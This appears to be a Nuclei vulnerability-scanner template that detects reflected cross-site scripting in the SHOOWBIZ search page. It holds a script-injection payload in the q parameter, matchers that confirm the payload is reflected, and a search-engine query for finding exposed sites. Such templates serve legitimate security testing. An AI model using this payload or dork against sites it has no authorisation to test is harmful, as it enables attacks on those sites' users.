id: shoowbiz-xss

info:
  name: SHOOWBIZ - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Cross-Site Scripting, is a type of security vulnerability commonly found in web applications. It occurs when an attacker injects malicious scripts (typically written in JavaScript) into web pages viewed by other users.
  reference:
    - https://www.exploitalert.com/view-details.html?id=36000
  metadata:
    verified: true
    max-request: 1
    google-query: inurl:"search.php?q="
  tags: shoowbiz,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/search.php?q=%3CScRipT%3Ealert(document.domain);%3C/ScRipT%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "<ScRipT>alert(document.domain);</ScRipT>")'
          - 'contains(body, "Search result in")'
        condition: and
# digest: 4a0a00473045022100cc32e2d582f0d1730d29ed34d782205021abdc53fbc9ad2db595ea6c9962455d0220343664ef210cad297ff3924addf21c41ed9a14dc5a2bd39188ca693e851167b9:922c64590222798bb761d5b6d8e72950